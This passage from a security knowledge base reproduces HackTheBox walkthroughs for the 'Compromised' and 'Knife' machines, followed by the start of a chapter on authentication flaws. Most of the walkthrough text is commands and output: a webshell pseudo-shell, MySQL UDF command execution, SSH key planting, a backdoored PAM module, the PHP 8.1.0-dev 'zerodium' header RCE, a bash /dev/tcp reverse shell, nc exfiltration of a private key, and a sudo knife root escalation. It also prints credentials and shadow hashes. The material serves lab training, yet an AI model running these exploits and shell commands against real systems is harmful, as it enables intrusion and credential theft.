alright this works, lets create a pseudoshell quick called pshell.sh:

``` bash
#!/bin/bash

echo "x for exit"
input=""
while [ "$input" != "x" ]  
do
    echo -n "> "
    read input
    curl -XPOST http://10.10.10.207/shop/vqmod/xml/mybypass.php --data-urlencode "c=$input"
done
```

change permissions and run

``` bash
root@kali:~/hackthebox/machine/compromised# chmod 777 pshell.sh
root@kali:~/hackthebox/machine/compromised# ./pshell.sh
x for exit
> ls
4YQVJ.php
KJUAJ.php
OQZNZ.php
index.html
mybypass.php
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
> whoami
www-data
> pwd
/var/www/html/shop/vqmod/xml
```

got a database credential

``` bash
> cat /var/www/html/shop/includes/config.inc.php

define('DB_TYPE', 'mysql');
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'changethis');
define('DB_DATABASE', 'ecom');

// Password Encryption Salt
  define('PASSWORD_SALT', 'kg1T5n2bOEgF8tXIdMnmkcDUgDqOLVvACBuYGGpaFkOeMrFkK0BorssylqdAP48Fzbe8ylLUx626IWBGJ00ZQfOTgPnoxue1vnCN1amGRZHATcRXjoc6HiXw0uXYD9mI');
```

what we can also find out, is that mysql has shell!

``` bash
> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
sysadmin:x:1000:1000:compromise:/home/sysadmin:/bin/bash
mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash
red:x:1001:1001::/home/red:/bin/false
```

hmm, boxname is "Compromised" and we get mysql creds and mysql has /bin/bash in /etc/passwd...
google "mysql backdoor"...
hmm we find out, that User Defined Functions (UDF) can be used,
so lets look at udf in our pseudoshell:

``` bash
> mysql -u root -pchangethis -e "select * from mysql.func;"
name    ret     dl      type
exec_cmd        0       libmysql.so     function
```

alright we found the udf called "exec_cmd"
lets try executing a simple command:

``` bash
> mysql -u root -pchangethis -e "select exec_cmd('id')"
exec_cmd('id')
uid=111(mysql) gid=113(mysql) groups=113(mysql)\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
```

what we can do now: add our public key to authorized keys:
first create a public and private key on your kali machine:

``` bash
root@kali:~/hackthebox/machine/compromised# ssh-keygen -t ed25519 -f ./key
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./key
Your public key has been saved in ./key.pub
The key fingerprint is:
SHA256:HPqYLVvu3/R18DoJNMmkbT4wlENJ63Smbx3EkqNBu5g root@kali
The key's randomart image is:
+--[ED25519 256]--+
|         o+o     |
|         .=o.o   |
|        ..=**.o  |
|       o *+BB+   |
|      . E =* .o  |
|       =   .+. + |
|      + +   +o..+|
|       =   + .oo.|
|      ..o.. . o. |
+----[SHA256]-----+
root@kali:~/hackthebox/machine/compromised# cat key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACD9+JBVupuMTJ87k29H8HBXCEQC/zi59/mR8K+K+S527AAAAJAmEMXWJhDF
1gAAAAtzc2gtZWQyNTUxOQAAACD9+JBVupuMTJ87k29H8HBXCEQC/zi59/mR8K+K+S527A
AAAEC6pQZXCMMauEJqmB51/2UgSeuo1GzOnsO3S05SENXJa/34kFW6m4xMnzuTb0fwcFcI
RAL/OLn3+ZHwr4r5LnbsAAAACXJvb3RAa2FsaQECAwQ=
-----END OPENSSH PRIVATE KEY-----
root@kali:~/hackthebox/machine/compromised# ls
45267.py  a.tar.gz  bypass.php  exp.py  key  key.pub  pshell.sh  shop
root@kali:~/hackthebox/machine/compromised# cat key.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP34kFW6m4xMnzuTb0fwcFcIRAL/OLn3+ZHwr4r5Lnbs root@kali
```

now copy the contents of key.pub and put it in the authorized keys of mysql account with the pseudoshell you have:
of course replace it with your public key, that you copied...

``` bash
mysql -u root -pchangethis -e "select exec_cmd('mkdir /var/lib/mysql/.ssh')"
mysql -u root -pchangethis -e "select exec_cmd('echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP34kFW6m4xMnzuTb0fwcFcIRAL/OLn3+ZHwr4r5Lnbs root@kali > /var/lib/mysql/.ssh/authorized_keys')"
```

ssh into the box:

``` bash
root@kali:~/hackthebox/machine/compromised# ssh -i key mysql@10.10.10.207
Last login: Thu Sep  3 11:52:44 2020 from 10.10.14.2
mysql@compromised:~$ id
uid=111(mysql) gid=113(mysql) groups=113(mysql)
mysql@compromised:~$ whoami
mysql
```

enumerate the home folder:

``` bash
mysql@compromised:~$ grep -nrli sysadmin
strace-log.dat
mysql@compromised:~$ cat strace-log.dat | grep password
22102 03:11:06 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0
22227 03:11:09 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:10 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22228 03:11:15 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changeme"], 0x55bc62467900 /* 21 vars */) = 0
22228 03:11:15 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:16 write(2, "mysql -u root --password='change"..., 35) = 35
22229 03:11:18 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changethis"], 0x55bc62467900 /* 21 vars */) = 0
22229 03:11:18 write(2, "[Warning] Using a password on th"..., 73) = 73
22232 03:11:52 openat(AT_FDCWD, "/etc/pam.d/common-password", O_RDONLY) = 5
22232 03:11:52 read(5, "#\n# /etc/pam.d/common-password -"..., 4096) = 1440
22232 03:11:52 write(4, "[sudo] password for sysadmin: ", 30) = 30
```

we find the password

``` bash
["mysql", "-u", "root", "--password=3*NLJE32I$Fe"]
```

now change to sysadmin user with the password = 3*NLJE32I$Fe
and also get the user.txt :) :) :)

``` bash
mysql@compromised:~$ su sysadmin
Password: 
sysadmin@compromised:/var/lib/mysql$ cd
sysadmin@compromised:~$ ls
user.txt
sysadmin@compromised:~$ cat user.txt
9b8e8c9f70062d3e9889e214fe7ccdb9
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb93.jpg)

#### privilege esclation

now look at the modified files between 14.07 and today:

``` bash
sysadmin@compromised:~$ find / -newermt "2020-07-14" ! -newermt "2020-09-16" -type f 2>/dev/null
/etc/ssh/sshd_config
/etc/ld.so.cache
/etc/fstab
/etc/ufw/ufw.conf
/etc/ufw/user.rules
/etc/ufw/user6.rules
/etc/apache2/apache2.conf
/etc/network/interfaces
/lib/x86_64-linux-gnu/security/.pam_unix.so
/lib/x86_64-linux-gnu/security/pam_unix.so
...
```

/lib/x86_64-linux-gnu/security/pam_unix.so is strange...
why is there a /lib/x86_64-linux-gnu/security/.pam_unix.so?
maybe another backdoor in pam and /lib/x86_64-linux-gnu/security/.pam_unix.so is a backup?
lets look at it in a reversing program (i will use ghidra).
first download the pam_unix.so to our kali machine with scp:

``` bash
root@kali:~/hackthebox/machine/compromised# scp sysadmin@10.10.10.207:/lib/x86_64-linux-gnu/security/pam_unix.so ./pam_unix.so
sysadmin@10.10.10.207's password: 
pam_unix.so
#password = 3*NLJE32I$Fe
```

looking at the functions, find the important authenticate function
and in there we find the string backdoor.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb94.jpg)

this means, if our password matches the backdoor string, we can get root.
now lets reverse the backdoor string.
On the Listing window we can just rightclick the value and click on convert -> Char Sequence

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb95.jpg)

then we got two separated strings, combine them together

``` bash
RAX,"zlke~U3E" + RAX,"nv82m2-\x00"

result: zlke~U3Env82m2-
```

this gives us the the password: zlke~U3Env82m2-
we can change to root with this, and get root flag:

``` bash
sysadmin@compromised:~$ su root
Password: 
root@compromised:/home/sysadmin# cd
root@compromised:~# id
uid=0(root) gid=0(root) groups=0(root)
root@compromised:~# ls
root.txt
root@compromised:~# cat root.txt
7017dc92e57aa31b32d755a062da5d8f
# password = zlke~U3Env82m2-
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb96.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb97.jpg)

#### Summary of knowledge

 - Source code leaked admin password
 - LiteCart 2.1.2 - Arbitrary File Upload  
 - change python exp script
 - php disable_functions bypass with PHP 7.0-7.3 disable_functions bypass PoC
 - bash shell script
 - ssh generate to get mysql shell
 - mysql User Defined Functions (UDF) commands excecution
 - home folder passwords leaked
 - use ghidra to reverse pam_unix.so file find backdoor string to get password

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end compromised -->

</details>

<a id="case-knife"></a>

## 开发版后门与 Ruby sudo

PHP 开发版的异常请求处理提供命令执行，后续 Ruby 工具的 sudo 权限形成独立提权点。原版本标识与请求细节保留。

<p class="kb-provenance">来源 knife · 原记录 2021-05-23 · 16 个代码块 · 8 处图片引用</p>

<details class="kb-evidence" id="record-knife">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start knife -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	20
Release:	22 May 2021
IP:	10.10.10.242

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1985.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### PORT
|Port|Service|Version|
|----|----|----|
|22|SSH|Openssh 8.2p1|
|80|HTTP|Apache httpd 2.4.41|

#### NMAP
```bash
# Nmap 7.91 scan initiated Sun May 23 01:14:04 2021 as: nmap -A -v -T4 -oN intial.nmap 10.10.10.242
Nmap scan report for 10.10.10.242
Host is up (0.12s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=5/23%OT=22%CT=1%CU=36992%PV=Y%DS=2%DC=T%G=Y%TM=60A9AC7
OS:D%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Uptime guess: 37.562 days (since Thu Apr 15 11:45:44 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 587/tcp)
HOP RTT       ADDRESS
1   118.25 ms 10.10.14.1
2   117.19 ms 10.10.10.242

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 23 01:14:37 2021 -- 1 IP address (1 host up) scanned in 34.30 seconds
```
From nmap result one thing caught my and that is it an apache httpd server instead of regular nginx in all the HackTheBox Machine.

As the latest release for apache httpd is 2.4.46 there could be a known vuln in 2.4.41 so I looked for it on web.

Looking for it I stumbled around this Rapid7 Post https://www.rapid7.com/db/vulnerabilities/apache-httpd-cve-2020-1934/.

But there is one concerning thing about this exploit you need to have mod\_proxy\_ftp

module running and have FTP backend which we know nothing of.

#### Web-Visting

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/knife1.png)

We can find this static page and nothing intresting in it. 

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/knife2.png)

looking the source code found pen.js which looked intresting but after looking at it got nothing intresting.

Also added knife.htb in /etc/hosts to look for sub-domain but interestingly we found the default nginx page.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/knife3.png)

This was intresting.
But let's go back to your main page.
Looking for vulns I found one intresting thing that php 8.1.x-dev was backdoored by some hackers.
You can find articles on it.

 - [PHP backdoored via Git hack: It’s no joke, so don't be a fool](https://techbeacon.com/security/php-backdoored-git-hack-its-no-joke-so-dont-be-fool)

 - [Backdoor added to PHP source code in Git server breach](https://www.welivesecurity.com/2021/03/30/backdoor-php-source-code-git-server-breach/)

This is intresting as server is leaking the the version of PHP.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/knife4.png)

Wappalyzer detected it.
Looking through bunch of article finally came up to this one where it showed how to exploit this backdoored by some troll hackers.

 - [PHP 8.1.0-dev 开发版本后门事件](https://blog.csdn.net/zy15667076526/article/details/116447864)

The website is originally in chinese but the google translate works fine.
So let's see if your PHP is dev version or not.

```bash
kali@kali:~/HackTheBox/Knife$ curl -i http://10.10.10.242/
HTTP/1.1 200 OK
Date: Sun, 23 May 2021 02:31:24 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
```

Looking at X-Powered-By header we can say that indeed we are in luck and the version is PHP/8.1.0-dev.

#### Exploitation

Reading throught the article found out that the backdoor can be accessed using User-Agent Header to execute the code.
We have to append the string zerodium which is also one of the leading zero day vuln finder firm.
so let's try PoC for this exploit.

```bash
┌──(root💀kali)-[~/hackthebox/machine/knife]
└─# curl -i -s -k -H 'User-Agentt: zerodiumvar_dump(2*3);' http://10.10.10.242/
HTTP/1.1 200 OK
Date: Sun, 23 May 2021 04:34:01 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

int(6)
<!DOCTYPE html>
<html lang="en" >
...
```

Looks like we triggered the RCE let's get going and get try to excute system commands.

```bash
┌──(root💀kali)-[~/hackthebox/machine/knife]
└─# curl -i -s -k -H 'User-Agentt: zerodiumsystem("id");' http://10.10.10.242                                                     
HTTP/1.1 200 OK
Date: Sun, 23 May 2021 04:35:06 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

uid=1000(james) gid=1000(james) groups=1000(james)
```

Looks like the web server is running as james so one less step for us.
Let's get the REV-Shell.

```bash
kali@kali:~/HackTheBox/Knife$ curl -i -s -k -H $'User-Agentt: zerodiumsystem(\"bash -c \'bash -i >& /dev/tcp/10.10.14.18/2333 0>&1\'\");' http://10.10.10.242
```

And boom we have the shell and user.txt

```bash
┌──(root💀kali)-[~/hackthebox/machine/knife]
└─# nc -lvp 2333                                                                                                                  
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 10.10.10.242.
Ncat: Connection from 10.10.10.242:34454.
bash: cannot set terminal process group (1020): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ id
id
uid=1000(james) gid=1000(james) groups=1000(james)
james@knife:/$ whoami
whoami
james
james@knife:~$ ls
ls
user.txt
james@knife:~$ cat user.txt
cat user.txt
945ec57fe12663455c03058393f2abff
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1986.jpg)

#### PrivESC
#### SSH Access

Before PrivESC let's just get the stable shell looking into users .ssh we found the key id_rsa

```bash
cd .ssh
cp id_rsa.pub authorized_keys
nc 10.10.14.18 1111 < id_rsa   (target machine)
nc -lvp 1111 > id_rsa    (local kali machine)
```

and then in your shell

```bash
kali@kali:~/HackTheBox/Knife$ nc -lvp 1111 > id_rsa
listening on [any] 1111 ...
connect to [YOUR IP] from (UNKNOWN) [10.10.10.242] 37114
┌──(root💀kali)-[~/hackthebox/machine/knife]
└─# chmod 700 id_rsa                                                                                                              
┌──(root💀kali)-[~/hackthebox/machine/knife]
└─# ssh -i id_rsa james@10.10.10.242                                                                                              
The authenticity of host '10.10.10.242 (10.10.10.242)' can't be established.
ECDSA key fingerprint is SHA256:b8jYX4F9OUtvZffH50q3L3B4hrSL/TxxPuue0hlbvRU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.242' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-72-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 23 May 2021 04:44:53 AM UTC

  System load:             0.07
  Usage of /:              51.3% of 9.72GB
  Memory usage:            57%
  Swap usage:              0%
  Processes:               337
  Users logged in:         0
  IPv4 address for ens160: 10.10.10.242
  IPv6 address for ens160: dead:beef::250:56ff:feb9:7b4d


18 updates can be applied immediately.
13 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


james@knife:~$ id
uid=1000(james) gid=1000(james) groups=1000(james)
james@knife:~$ whoami
james
```

Now we have the stable shell now lets enumerate for PrivESC.

#### Enumeration

```bash
james@knife:~$ cat ex.rb 
puts File.read('/etc/shadow')
```

Looking into user's home directory we can see an intresting ruby file which can read /etc/shadow but the catch is we dont have ruby on the box or at least on the desired path and the desired name.

#### sudo -l
```bash
james@knife:~$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife
```

Analysing the file /usr/bin/knife

```bash
james@knife:~$ file /usr/bin/knife 
/usr/bin/knife: symbolic link to /opt/chef-workstation/bin/knife
```

It's symbolic link to another file /opt/chef-workstation/bin/knife.
looking at the directory /opt/chef-workstation we can see it a ruby installation.

```bash
james@knife:~$ ls /opt/chef-workstation/
bin  components  embedded  gem-version-manifest.json  gitbin  LICENSE  LICENSES  version-manifest.json  version-manifest.txt
```

so basically on this box ruby commands can be run using /usr/bin/knife.
running /usr/bin/knife we get the big help menu.

```bash
james@knife:~$ sudo /usr/bin/knife
<-----SNIP------>
** EXEC COMMANDS **
knife exec [SCRIPT] (options)
```

Now let's run our ex.rb script

```bash
james@knife:~$ sudo /usr/bin/knife exec ex.rb

root:$6$LCKz7Uz/FuWPPJ6o$LaOquetpLJIhOzr7YwJzFPX4NdDDHokHtUz.k4S1.CY7D/ECYVfP4Q5eS43/PMtsOa5up1ThgjB3.xUZsHyHA1:18754:0:99999:7:::
daemon:*:18659:0:99999:7::
bin:*:18659:0:99999:7:::
sys:*:18659:0:99999:7:::
sync:*:18659:0:99999:7:::
games:*:18659:0:99999:7:::
man:*:18659:0:99999:7:::
lp:*:18659:0:99999:7:::
mail:*:18659:0:99999:7:::
news:*:18659:0:99999:7:::
uucp:*:18659:0:99999:7:::
proxy:*:18659:0:99999:7:::
www-data:*:18659:0:99999:7:::
backup:*:18659:0:99999:7:::
list:*:18659:0:99999:7:::
irc:*:18659:0:99999:7:::
gnats:*:18659:0:99999:7:::
nobody:*:18659:0:99999:7:::
systemd-network:*:18659:0:99999:7:::
systemd-resolve:*:18659:0:99999:7:::
systemd-timesync:*:18659:0:99999:7:::
messagebus:*:18659:0:99999:7:::
syslog:*:18659:0:99999:7:::
_apt:*:18659:0:99999:7:::
tss:*:18659:0:99999:7:::
uuidd:*:18659:0:99999:7:::
tcpdump:*:18659:0:99999:7:::
landscape:*:18659:0:99999:7:::
pollinate:*:18659:0:99999:7:::
usbmux:*:18753:0:99999:7:::
sshd:*:18753:0:99999:7:::
systemd-coredump:!!:18753::::::
james:$6$S4BgtW0nZi/8w.C0$pREFaCmQmAue0cm6eTgvF.vFdhsIdTr5q6PdrMVNCw4hc7TmlSqAcgMz0yOBG7mT6GcoH9gGbo.zLLG/VeT31/:18754:0:99999:7:::
lxd:!:18753::::::
opscode:!:18754::::::
opscode-pgsql:!:18754::::::
```

Now we can write our own ruby script to run the system commands.
I wrote a simple ruby script to run /bin/bash

```bash
james@knife:~$ echo "system('/bin/bash')" > getroot.rb
james@knife:~$ cat getroot.rb 
system('/bin/bash')
james@knife:~$ sudo /usr/bin/knife exec getroot.rb
root@knife:/home/james# id
uid=0(root) gid=0(root) groups=0(root)
```

We are root now so let's get all the flags.

``` bash
james@knife:~$ echo "system('/bin/bash')" > getroot.rb
james@knife:~$ cat getroot.rb 
system('/bin/bash')
james@knife:~$ sudo /usr/bin/knife exec getroot.rb
root@knife:/home/james# id
uid=0(root) gid=0(root) groups=0(root)
root@knife:/home/james# whoami
root
root@knife:/home/james# cd
root@knife:~# ls
delete.sh  root.txt  snap
root@knife:~# cat root.txt 
bb5ea8e23a0de786ce9def00513a2121
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1987.jpg)

#### Summary of knowledge

 - PHP 8.1.0-dev develop version backdoor getshell
 - ruby script privesc

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end knife -->

</details>




# 认证状态、JWT 与访问控制

认证缺陷经常出现在状态的生成、签名、传递和使用之间。本章以原案例对照角色字段、JWT 密钥来源、会话标识、ViewState 和填充侧信道。每个案例的请求、返回值与身份变化都可展开核查。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/identity/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Academy、Previse 的服务端权限判断与页面跳转各有边界，页面可见性和操作权限需要分别验证。

TheNotebook、Breadcrumbs、Fingerprint 的签名材料和角色字段不同，原载荷保留各自依赖。

Perspective 与 Overflow 分别记录 CBC 状态修改和 Padding Oracle，IV、块位置与响应差异应随原文阅读。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [角色字段、框架密钥与审计日志](#case-academy) | academy | 访问控制、Laravel、凭据泄露、sudo |
| [文件读取、会话构造与本地凭据](#case-breadcrumbs) | breadcrumbs | JWT、LFI、SQLite、逆向 |
| [多层认证与加密状态](#case-fingerprint) | fingerprint | JWT、HQL、ECB、访问控制 |
| [Padding Oracle 与任务身份](#case-overflow) | overflow | Padding Oracle、ExifTool、逆向 |
| [ViewState 密钥与 CBC 状态](#case-perspective) | Perspective | ViewState、CBC、XSS |
| [响应跳转与真实服务端授权](#case-previse) | previse | 访问控制、命令注入、PATH |
| [JWT 的签名密钥来源与管理员声明](#case-thenotebook) | TheNotebook | JWT、访问控制、容器逃逸 |

<a id="case-academy"></a>

## 角色字段、框架密钥与审计日志

注册请求中的 roleid 改变权限边界，随后由 Laravel 配置与审计日志恢复凭据，再经 composer 的 sudo 权限完成提权。三个阶段分别保留了请求、编码还原和执行记录。

<p class="kb-provenance">来源 academy · 原记录 2020-11-14 · 15 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-academy">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start academy -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	20
